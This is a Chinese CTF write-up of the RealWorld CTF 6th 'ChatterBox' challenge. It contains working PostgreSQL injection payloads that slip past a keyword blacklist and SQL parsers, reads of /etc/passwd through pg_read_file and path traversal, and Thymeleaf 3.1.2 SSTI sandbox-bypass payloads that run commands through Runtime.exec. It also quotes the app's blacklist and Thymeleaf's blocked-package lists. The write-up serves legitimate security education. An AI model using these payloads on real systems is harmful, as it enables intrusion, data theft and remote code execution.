向晚意不适,驱车登古原。
夕阳无限好,只是近黄昏。

PostgreSQL注入

首先该系统需要登录才能进行后续操作,因为验证的HttpSession

看到登录逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
@RequestMapping({"/login"})
public String doLogin(HttpServletRequest request, Model model, HttpSession session) throws Exception {
String username = request.getParameter("username");
String password = request.getParameter("passwd");
if (username != null && password != null) {
if (!SQLCheck.checkBlackList(username) || !SQLCheck.checkBlackList(password)) {
model.addAttribute("status", Integer.valueOf(500));
model.addAttribute("message", "Ban!");
return "error";
}
String sql = "SELECT id,passwd FROM message_users WHERE username = '" + username + "'";
if (SQLCheck.check(sql))
try {
List<String> pass = this.jdbcTemplate.query(sql, (RowMapper)new Object(this));
if (!pass.isEmpty()) {
String[] info = ((String)pass.get(0)).split("/");
String dbPassword = info[1];
if (dbPassword != null && dbPassword.equals(password)) {
int userId = Integer.parseInt(info[0]);
session.setAttribute("userId", Integer.valueOf(userId));
return "redirect:/";
}
model.addAttribute("status", Integer.valueOf(500));
model.addAttribute("message", "Incorrect Username/Password);
} else {
model.addAttribute("status", Integer.valueOf(500));
model.addAttribute("message", "Incorrect Username/Password);
}
return "error";
} catch (Exception var10) {
model.addAttribute("status", Integer.valueOf(500));
model.addAttribute("message", var10.toString());
return "error";
}
model.addAttribute("status", Integer.valueOf(500));
model.addAttribute("message", "check error~");
return "error";
}
return "login";
}

首先调用 SQLCheck.checkBlackList 检测传入的参数,黑名单判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
public static boolean checkBlackList(String sql) {
String sql2 = sql.toUpperCase();
for (String temp : getBlackList().stream()) {
if (sql2.contains(temp)) {
return false;
}
}
return true;
}

private static List<String> getBlackList() {
List<String> black = new ArrayList<>();
black.add("SELECT");
black.add("UNION");
black.add("INSERT");
black.add("ALTER");
black.add("SLEEP");
black.add("DELETE");
black.add("--");
black.add(";");
black.add("#");
black.add("&");
black.add("/*");
black.add("OR");
black.add("EXEC");
black.add("CREATE");
black.add("AND");
black.add("DROP");
black.add("DO");
black.add("COPY");
black.add("SET");
black.add("VACUUM");
black.add("SHOW");
black.add("CURSOR");
black.add("TRUNCATE");
black.add("CAST");
black.add("BEGIN");
black.add("PERFORM");
black.add("END");
black.add("CASE");
black.add("WHEN");
black.add("ALL");
black.add("TABLE");
black.add("UPDATE");
black.add("TRIGGER");
black.add("FUNCTION");
black.add("PROCEDURE");
black.add("DECLARE");
black.add("RETURNING");
black.add("TABLESPACE");
black.add("VIEW");
black.add("SEQUENCE");
black.add("INDEX");
black.add("LOCK");
black.add("GRANT");
black.add("REVOKE");
black.add("SAVEPOINT");
black.add("ROLLBACK");
black.add("IMPORT");
black.add("COMMIT");
black.add("PREPARE");
black.add("EXECUTE");
black.add("EXPLAIN");
black.add("ANALYZE");
black.add("DATABASE");
black.add("PASSWORD");
black.add("CONNECT");
black.add("DISCONNECT");
black.add("PG_SLEEP");
black.add("MERGE");
black.add("USING");
black.add("LIMIT");
black.add("OFFSET");
black.add("RETURN");
black.add("ESCAPE");
black.add("LIKE");
black.add("ILIKE");
black.add("RLIKE");
black.add("EXISTS");
black.add("BETWEEN");
black.add("IS");
black.add("NULL");
black.add("NOT");
black.add("GROUP");
black.add("BY");
black.add("HAVING");
black.add("ORDER");
black.add("WINDOW");
black.add("PARTITION");
black.add("OVER");
black.add("FOREIGN KEY");
black.add("REFERENCE");
black.add("RAISE");
black.add("LISTEN");
black.add("NOTIFY");
black.add("LOAD");
black.add("SECURITY");
black.add("OWNER");
black.add("RULE");
black.add("CLUSTER");
black.add("COMMENT");
black.add("CONVERT");
black.add("COPY");
black.add("CHECKPOINT");
black.add("REINDEX");
black.add("RESET");
black.add("LANGUAGE");
black.add("PLPGSQL");
black.add("PLPYTHON");
black.add("SECDEF");
black.add("NOCREATEDB");
black.add("NOCREATEROLE");
black.add("NOINHERIT");
black.add("NOREPLICATION");
black.add("BYPASSRLS");
black.add("FILE");
black.add("PG_");
black.add("IMPORT");
black.add("EXPORT");
return black;
}

很好理解,不能包含以上字符

然后使用+拼接username进行查询,这里就存在sql注入,但是在查询前调用了 SQLCheck.check 解析sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
private static boolean checkValid(String sql) {
try {
return SQLParser.parse(sql);
} catch (SQLException e) {
try {
List<SQLStatement> sqlStatements = SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL);
if (sqlStatements != null && sqlStatements.size() > 1) {
return false;
}
for (SQLStatement statement : sqlStatements.stream()) {
if (statement instanceof PGSelectStatement) {
SQLSelect sqlSelect = ((SQLSelectStatement) statement).getSelect();
SQLSelectQuery sqlSelectQuery = sqlSelect.getQuery();
if (sqlSelectQuery instanceof SQLUnionQuery) {
return false;
}
SQLSelectQueryBlock sqlSelectQueryBlock = (SQLSelectQueryBlock) sqlSelectQuery;
if (!(filtetFields(sqlSelectQueryBlock.getSelectList()) && filterTableName((SQLExprTableSource) sqlSelectQueryBlock.getFrom()).booleanValue())) {
return false;
}
if (!filterWhere(sqlSelectQueryBlock.getWhere())) {
return false;
}
return true;
}
}
return false;
} catch (Exception e2) {
if (filter(sql)) {
return true;
}
throw new SQLException("SQL Parsing Exception~");
}
}
}

public static boolean check(String sql) {
return checkValid(sql.toUpperCase());
}

前置知识:
https://pgpedia.info/q/query_to_xml.html
http://postgres.cn/docs/9.4/sql-syntax-lexical.html
PostgreSQL——双冒号(::)的含义
PostgreSQL text 数据类型介绍
PostgreSQL: || Operator

方法一

这里其实有一个很奇怪的点,如果sql语句进入到第二层 catch 异常处理,就会调用 filter 方法

如果sql.contains(" USER_DEFINE "),则直接返回true

  1. 第一层SQLParser.parse(sql),使用jsqlparser解析sql语句
  2. 第二层SQLUtils.parseStatements(sql, JdbcConstants.POSTGRESQL),使用Druid解析sql语句

假如能使两个解析器都报错,同时语句也能够在数据库中正常执行,就实现了绕过

payload1:

1
username='||passwd::int||text' USER_DEFINE &passwd=123

payload2:
使用WITH AS子查询,每个WITH子句中的辅助语句可以是一个SELECT、INSERT、UPDATE 或 DELETE

使用values产生报错

1
username='||passwd::int||(with USER_DEFINE as (values(1)) values(1))||'&passwd=123

payload3:
注意到在执行检测前转换为了大写,而执行查询将保持小写

我们需要找到一种语句在大写时报错,小写时正常执行

$,一个美元符引用字符串的标签(如果有标签的话),遵循和无引号包围的标识符相同的规则, 只是它不能包含美元符。标签是大小写敏感的,因此$tag$String content$tag$是正确的,而$TAG$String content$tag$则是错误的

1
username='||substr($u$foo$U$ USER_DEFINE $U$bar$u$,0,0)||passwd::json||'&passwd=123

最终会将异常打印出来

方法二

我们可以使用||连接字符来绕过黑名单

使用 query_to_xml 函数内嵌sql语句,pg_sleep时间盲注

还可以使用decode函数,传hex字符

最后给出的poc如下:

1
2
3
'||''||(query_to_xml('sele'||'ct ca'||'se wh'||'en substr((sele'||'ct passwd from message_users),1,1)=chr(120) then p'||'g_sl'||'eep(3) else p'||'g_sl'||'eep(0) en'||'d',true,true,''))||'1

'||''||(query_to_xml(encode(decode('73656c6563742063617365207768656e20737562737472282873656c656374207061737377642066726f6d206d6573736167655f7573657273292c312c31293d6368722831323029207468656e2070675f736c65657028332920656c73652070675f736c65657028302920656e64','hex'),'esc'||'ape'),true,true,''))||'1

任意文件读写

进入后台可以看到路由/post_message

又是一个sql注入,不细说了,可以使用pg_ls_dir、pg_read_file读文件,又或者lo_from_bytea配合lo_export写文件

这里官方wp给出了另外一种函数:ts_stat,同样可以执行sql语句

注意需要配合to_tsvector函数处理成tsvector数据类型:

1
SELECT to_tsvector('english', pg_read_file('/etc/passwd'));

模板注入

往后看到路由/notify

如果传入的fname不包含../并且文件内容不包含<、>、org.apache、org.spring,则使用SpringTemplateEngine解析

文件名绕过

1
2
3
4
5
cleanPath:701, StringUtils (org.springframework.util)
toURL:399, ResourceUtils (org.springframework.util)
getResource:165, DefaultResourceLoader (org.springframework.core.io)
getResource:248, GenericApplicationContext (org.springframework.context.support)
notify:40, NotifyController (com.chatterbox.controller)

看到org.springframework.util.StringUtils#cleanPath处理path的地方

会将\替换为/,然后通过../替换掉 non_exists 路径

最后由于是file:协议,使用#或者?来绕过后缀限制

1
2
?fname=..%5cetc/passwd%3F
?fname=..%5cetc/passwd%23

标签绕过

由于过滤了<、>,我们无法使用标签
看到:https://www.thymeleaf.org/doc/tutorials/3.1/usingthymeleaf.html#expression-inlining

可以使用中括号内联表达式,即[[${2*2}]]

官网wp还提供了一种方法:

看到:https://github.com/thymeleaf/thymeleaf/blob/3.1-master/lib/thymeleaf-spring6/src/main/java/org/thymeleaf/spring6/util/SpringStandardExpressionUtils.java

检测new后面是否为空格,如果检测到new xxx则直接返回true

看到解析new的方法:
org.springframework.expression.spel.standard.InternalSpelExpressionParser#maybeEatConstructorReference

发现即使不满足package,也可以实现实例化,跟进eatPossiblyQualifiedId方法

发现会跳过.

所以我们就可以使用

1
__${new.java..lang...String()}__::.x

黑名单绕过

类型限制:
org.thymeleaf.util.ExpressionUtils#isTypeAllowed

跟进 isTypeBlockedForTypeReference 方法

跟进 isTypeBlockedForAllPurposes 方法

如果类的首字符不为c、j、o、s,则直接返回false,否则步入后续验证,进行黑名单匹配
看到BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES

1
2
3
4
5
6
7
8
9
10
0 = "jakarta."
1 = "org.xml.sax."
2 = "sun."
3 = "org.ietf.jgss."
4 = "javax."
5 = "org.omg."
6 = "com.sun."
7 = "org.w3c.dom."
8 = "jdk."
9 = "java."

看到BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
0 = "org.springframework.beans."
1 = "org.springframework.aspects."
2 = "javax0.geci."
3 = "org.javassist."
4 = "com.squareup.javapoet."
5 = "javassist."
6 = "org.objectweb.asm."
7 = "net.sf.cglib."
8 = "org.springframework.javapoet."
9 = "org.springframework.asm."
10 = "org.springframework.webflow."
11 = "org.springframework.cglib."
12 = "net.bytebuddy."
13 = "org.springframework.objenesis."
14 = "org.springframework.aot."
15 = "org.springframework.context."
16 = "org.objenesis."
17 = "org.mockito."
18 = "org.springframework.web."
19 = "org.aspectj."
20 = "org.springframework.util."
21 = "org.apache.bcel."
22 = "org.springframework.expression."
23 = "org.springframework.aop."

成员限制:
org.thymeleaf.util.ExpressionUtils#isMemberAllowed

如果target不为Class的实例,则调用 isMemberAllowedForInstanceOfType 方法处理

使用isAssignableFrom方法判断是否为某个类的父类,看到BLOCKED_MEMBER_CALL_JAVA_SUPERS

1
2
3
4
5
6
org.thymeleaf.spring6.expression.IThymeleafEvaluationContext
org.springframework.web.servlet.support.RequestContext
org.thymeleaf.spring6.context.IThymeleafRequestContext
org.thymeleaf.standard.expression.IStandardExpressionParser
org.thymeleaf.standard.expression.IStandardVariableExpressionEvaluator
org.thymeleaf.standard.expression.IStandardConversionService

当前 thymeleaf 版本为3.1.2

关注一下3.1.1.RELEASE的绕过姿势:https://github.com/p1n93r/SpringBootAdmin-thymeleaf-SSTI

主要是通过org.springframework.util.ReflectionUtils反射调用,那么我们找一个替代类同样具有反射的功能即可

tabby启动!,选择查找public以及静态方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method {IS_PUBLIC:true,IS_STATIC:true})
where not(source.CLASSNAME starts with 'org.springframework.')
and not(source.CLASSNAME starts with 'java.')
and not(source.CLASSNAME starts with 'jakarata.')
and not(source.CLASSNAME starts with 'jdk.')
and not(source.CLASSNAME starts with 'com.sun.')
and not(source.CLASSNAME starts with 'sun.')
and not(source.CLASSNAME starts with 'org.xml.sax.')
and not(source.CLASSNAME starts with 'org.w3c.dom.')
and not(source.CLASSNAME starts with 'org.omg.')
and not(source.CLASSNAME starts with 'org.thymeleaf.')
match (sink:Method {}) where sink.NAME in ["forName","loadClass","createInstance","classForName","getMethod","callMethodN","getDeclaredMethods"]
call tabby.beta.findPath(source, "-", sink, 2, false) yield path
return path limit 20

poc1

wh1t3p1g师傅找的,思路是通过com.zaxxer.hikari.util.UtilityElf#createInstance构建jakarta.el.ELProcessor对象,然后再通过org.apache.tomcat.util.IntrospectionUtils#callMethodN来调用它的 eval 函数,因为环境是 jdk17,所以后续的 EL 利用的是jdk.jshell.JShell来执行任意代码

1
[[${T(org. apache.tomcat.util.IntrospectionUtils).callMethodN(T(com.zaxxer.hikari.util.UtilityElf).createInstance('jakarta.el.ELProcessor',T(ch.qos.logback.core.util.Loader).loadClass('jakarta.el.ELProcessor')), 'eval', new java.lang.String[]{'"".getClass().forName("jdk.jshell.JShell").getMethods()[6].invoke("".getClass().forName("jdk.jshell.JShell")).eval("java.lang.Runtime.getRuntime().exec(\"touch /tmp/success\")")'}, T(org. apache.el.util.ReflectionUtil).toTypeArray(new java.lang.String[]{"java.lang.String"}))}]]

poc2

官方wp:

比上面多了实例化org.springframework.instrument.classloading.ShadowingClassLoader并调用其loadClass方法

然后反射调用的是经典的java.lang.Runtime

1
__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org.thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","touch /tmp/success",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__::.x

当然师傅们还有很多巧妙的思路,就不多赘述了

Tomcat临时文件

具体思路参考:https://tttang.com/archive/1692/#toc__4

看到SpringMVC的org.springframework.web.servlet.DispatcherServlet#doDispatch

其中会检查这是否是一个表单请求

1
2
3
4
5
6
7
8
parseParts:2703, Request (org.apache.catalina.connector)
getParts:2685, Request (org.apache.catalina.connector)
getParts:773, RequestFacade (org.apache.catalina.connector)
parseRequest:93, StandardMultipartHttpServletRequest (org.springframework.web.multipart.support)
<init>:86, StandardMultipartHttpServletRequest (org.springframework.web.multipart.support)
resolveMultipart:112, StandardServletMultipartResolver (org.springframework.web.multipart.support)
checkMultipart:1227, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1061, DispatcherServlet (org.springframework.web.servlet)

后续跟进到org.apache.catalina.connector.Request#parseParts

看到目录为/tmp/tomcat.8080.15601954988790012368/work/Tomcat/localhost/ROOT

最终生成临时文件

但是我测试的时候从/proc目录下根本没读出来,相当于另一种思路吧

参考:
Thymeleaf ssti 3.1.2 黑名单绕过
【第6届RWCTF】ChatterBox 题目讲解
RealWorld CTF 6th 正赛/体验赛 部分 Web Writeup
2024RWCTF WriteUp By Mini-Venom
ChatterBox | RealWorld CTF 6th